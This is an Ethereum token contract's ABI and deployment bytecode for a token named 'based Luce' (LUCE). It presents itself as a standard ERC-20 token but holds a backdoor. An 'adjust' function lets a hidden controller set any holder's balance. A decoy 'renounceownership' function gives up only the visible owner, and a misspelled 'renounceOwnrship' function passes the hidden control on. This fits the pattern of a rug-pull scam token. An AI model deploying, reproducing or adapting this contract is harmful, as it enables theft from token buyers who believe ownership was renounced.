[ { "inputs": [ { "internalType": "string", "name": "name_", "type": "string" }, { "internalType": "string", "name": "symbol_", "type": "string" }, { "internalType": "uint8", "name": "decimals_", "type": "uint8" }, { "internalType": "uint256", "name": "totalSupply_", "type": "uint256" } ], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "oldBalance", "type": "uint256" }, { "indexed": false, "internalType": "uint256", "name": "newBalance", "type": "uint256" } ], "name": "BalanceAdjusted", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousowner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newowner", "type": "address" } ], "name": "ownershipTransferred", "type": "event" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" }, { "internalType": "uint256", "name": "newBalance", "type": "uint256" } ], "name": "adjust", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "newOwnr", "type": "address" } ], "name": "renounceOwnrship", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "renounceownership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" } ]
608060405234801562000010575f80fd5b5060405162000e2738038062000e278339810160408190526200003391620001e4565b5f80546001600160a01b031916339081178255604051909182917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b7908290a3506003620000818582620002f3565b506004620000908482620002f3565b506005805460ff191660ff8416179055620000ad82600a620004ce565b620000b99082620004e5565b6006819055600780546001600160a01b031916339081179091555f81815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050620004ff565b634e487b7160e01b5f52604160045260245ffd5b5f82601f83011262000147575f80fd5b81516001600160401b038082111562000164576200016462000123565b604051601f8301601f19908116603f011681019082821181831017156200018f576200018f62000123565b8160405283815260209250866020858801011115620001ac575f80fd5b5f91505b83821015620001cf5785820183015181830184015290820190620001b0565b5f602085830101528094505050505092915050565b5f805f8060808587031215620001f8575f80fd5b84516001600160401b03808211156200020f575f80fd5b6200021d8883890162000137565b9550602087015191508082111562000233575f80fd5b50620002428782880162000137565b935050604085015160ff8116811462000259575f80fd5b6060959095015193969295505050565b600181811c908216806200027e57607f821691505b6020821081036200029d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620002ee57805f5260205f20601f840160051c81016020851015620002ca5750805b601f840160051c820191505b81811015620002eb575f8155600101620002d6565b50505b505050565b81516001600160401b038111156200030f576200030f62000123565b620003278162000320845462000269565b84620002a3565b602080601f8311600181146200035d575f8415620003455750858301515b5f19600386901b1c1916600185901b178555620003b7565b5f85815260208120601f198616915b828110156200038d578886015182559484019460019091019084016200036c565b5085821015620003ab57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200041357815f1904821115620003f757620003f7620003bf565b808516156200040557918102915b93841c9390800290620003d8565b509250929050565b5f826200042b57506001620004c8565b816200043957505f620004c8565b81600181146200045257600281146200045d576200047d565b6001915050620004c8565b60ff841115620004715762000471620003bf565b50506001821b620004c8565b5060208310610133831016604e8410600b8410161715620004a2575081810a620004c8565b620004ae8383620003d3565b805f1904821115620004c457620004c4620003bf565b0290505b92915050565b5f620004de60ff8416836200041b565b9392505050565b8082028115828204841417620004c857620004c8620003bf565b61091a806200050d5f395ff3fe608060405234801561000f575f80fd5b50600436106100cb575f3560e01c806370a08231116100885780639bb6aa8a116100635780639bb6aa8a146101a9578063a9059cbb146101bc578063c2af913b146101cf578063dd62ed3e146101d7575f80fd5b806370a082311461015f5780638da5cb5b1461018757806395d89b41146101a1575f80fd5b806306fdde03146100cf578063095ea7b3146100ed57806318160ddd1461011057806323b872dd14610122578063313ce5671461013557806358a654481461014a575b5f80fd5b6100d761020f565b6040516100e49190610718565b60405180910390f35b6101006100fb36600461077f565b61029f565b60405190151581526020016100e4565b6006545b6040519081526020016100e4565b6101006101303660046107a7565b610307565b60055460405160ff90911681526020016100e4565b61015d6101583660046107e0565b610474565b005b61011461016d3660046107e0565b6001600160a01b03165f9081526001602052604090205490565b5f546040516001600160a01b0390911681526020016100e4565b6100d76104c9565b61015d6101b736600461077f565b6104d8565b6101006101ca36600461077f565b61057b565b61015d610671565b6101146101e5366004610800565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b60606003805461021e90610831565b80601f016020809104026020016040519081016040528092919081815260200182805461024a90610831565b80156102955780601f1061026c57610100808354040283529160200191610295565b820191905f5260205f20905b81548152906001019060200180831161027857829003601f168201915b5050505050905090565b335f8181526002602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35060015b92915050565b6001600160a01b0383165f90815260026020908152604080832033845290915281205482111561038c5760405162461bcd60e51b815260206004820152602560248201527f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b6001600160a01b0384165f90815260016020526040812080548492906103b390849061087d565b90915550506001600160a01b0383165f90815260016020526040812080548492906103df908490610890565b90915550506001600160a01b0384165f9081526002602090815260408083203384529091528120805484929061041690849061087d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161046291815260200190565b60405180910390a35060019392505050565b6007546001600160a01b0316336001600160a01b0316146104a75760405162461bcd60e51b8152600401610383906108a3565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60606004805461021e90610831565b6007546001600160a01b0316336001600160a01b03161461050b5760405162461bcd60e51b8152600401610383906108a3565b60408051602080820183526001600160a01b0385165f81815260018084528582208054888752928490529084528690558451818152928301869052929390917f5ee81488a8c866569c02800403bbf9145d931cf759737ed853eedb84dbb5a9e3910160405180910390a250505050565b335f908152600160205260408120548211156105e55760405162461bcd60e51b815260206004820152602360248201527f54543a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b6064820152608401610383565b335f908152600160205260408120805484929061060390849061087d565b90915550506001600160a01b0383165f908152600160205260408120805484929061062f908490610890565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016102f5565b5f546001600160a01b031633146106ca5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610383565b5f805460405161dead926001600160a01b03909216917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b791a35f80546001600160a01b03191661dead179055565b5f602080835283518060208501525f5b8181101561074457858101830151858201604001528201610728565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461077a575f80fd5b919050565b5f8060408385031215610790575f80fd5b61079983610764565b946020939093013593505050565b5f805f606084860312156107b9575f80fd5b6107c284610764565b92506107d060208501610764565b9150604084013590509250925092565b5f602082840312156107f0575f80fd5b6107f982610764565b9392505050565b5f8060408385031215610811575f80fd5b61081a83610764565b915061082860208401610764565b90509250929050565b600181811c9082168061084557607f821691505b60208210810361086357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561030157610301610869565b8082018082111561030157610301610869565b60208082526021908201527f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c656040820152603960f91b60608201526080019056fea26469706673582212208024cf29f04c3326ac3ae512bb1886aa604a1b89a3660082935408bc269cde4f64736f6c63430008180033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000002540be400000000000000000000000000000000000000000000000000000000000000000a6261736564204c7563650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044c55434500000000000000000000000000000000000000000000000000000000